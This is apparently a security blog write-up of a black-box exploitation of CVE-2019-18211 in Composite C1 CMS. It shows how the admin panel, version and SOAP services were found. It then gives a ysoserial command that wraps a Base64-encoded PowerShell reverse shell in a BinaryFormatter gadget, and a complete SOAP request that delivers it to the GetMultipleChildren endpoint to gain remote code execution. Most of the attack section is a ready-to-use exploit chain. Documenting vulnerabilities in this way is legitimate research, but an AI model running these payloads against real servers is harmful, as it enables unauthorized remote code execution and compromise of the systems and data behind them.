

.NET Deserialization Leading to Remote Code Execution (CVE-2019-18211)

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Content

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Introduction

This post demonstrates the black-box exploitation of Composite [C1 CMS](#) leveraging the deserialization vulnerability tracked as [CVE-2019-18211](#). The flaw exists in specific SOAP-based web services within the CMS and allows attackers to execute arbitrary code on the target server. This vulnerability allows any user with low-level privileges (e.g., Editor) to remotely execute code (RCE).

The attack was performed without source code access, relying solely on external enumeration, service discovery, and payload delivery techniques.

Discovering the CMS Administration Panel

A directory scan revealed that the CMS administrative interface was exposed at the following path:

```
/Composite
```

Version Identification

After accessing the panel, the CMS version was identified through the "?" → *About C1 Composite* menu.

Example version string obtained during testing:

Composite C1 Build no. 5.0.5827.21806

This version is known to be vulnerable to **CVE-2019-18211**.

Locating SOAP Services

Using Burp Suite during navigation, a WSDL file was discovered:

```
GET /Composite/services/Tree/TreeServices.asmx?WSDL
```

This WSDL file was then parsed using a WSDL parsing extension in Burp to enumerate available methods and parameters.

Target Method: GetMultipleChildren

Analysis of the WSDL output revealed the GetMultipleChildren method within the TreeServiceFacade.

This method accepts an EntityToken parameter, which is handled by the EntityTokenSerializer class in Composite.dll. The vulnerability exists because this class performs unvalidated deserialization of wrapped BinaryFormatter payloads, allowing arbitrary code execution on the server.

Generating a Malicious Payload

The vulnerable code uses **BinaryFormatter** via **Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter**. To exploit this, a malicious payload was generated using [ysoserial](#).

First, a [PowerShell reverse shell](#) command was prepared and Base64-encoded. Then, ysoserial was used:

```
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell -e <Base64-Encoded-Payload>" -o base64
```

Crafting the SOAP Request

The payload was embedded into the EntityToken parameter. The request structure was modified as follows:

```
<man:EntityToken>
entityTokenType='Microsoft.Practices.EnterpriseLibrary.Logging.Formatter'
entityToken='<Base64-Payload>'
</man:EntityToken>
```

A complete SOAP request example:

```
POST /Composite/services/Tree/TreeServices.asmx HTTP/1.1
Host: targetsite.com
SOAPAction: "http://www.composite.net/ns/management/GetMultipleChildren"
Content-Type: text/xml; charset=UTF-8

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
xmlns:man="http://www.composite.net/ns/management">
  <soap:Header/>
  <soap:Body>
    <man:GetMultipleChildren>
      <man:clientProviderNameEntityTokenPairs>
        <man:RefreshChildrenParams>
          <man:ProviderName>test</man:ProviderName>

          <man:EntityToken>entityTokenType='Microsoft.Practices.EnterpriseLibrary.Logging.Formatter' entityToken='<Base64-Payload>'</man:EntityToken>
        </man:RefreshChildrenParams>
      </man:clientProviderNameEntityTokenPairs>
    </man:GetMultipleChildren>
  </soap:Body>
</soap:Envelope>
```

Remote Code Execution

Once the SOAP request was sent to the vulnerable endpoint, the malicious payload was deserialized by the server, resulting in successful remote code execution and a reverse shell connection.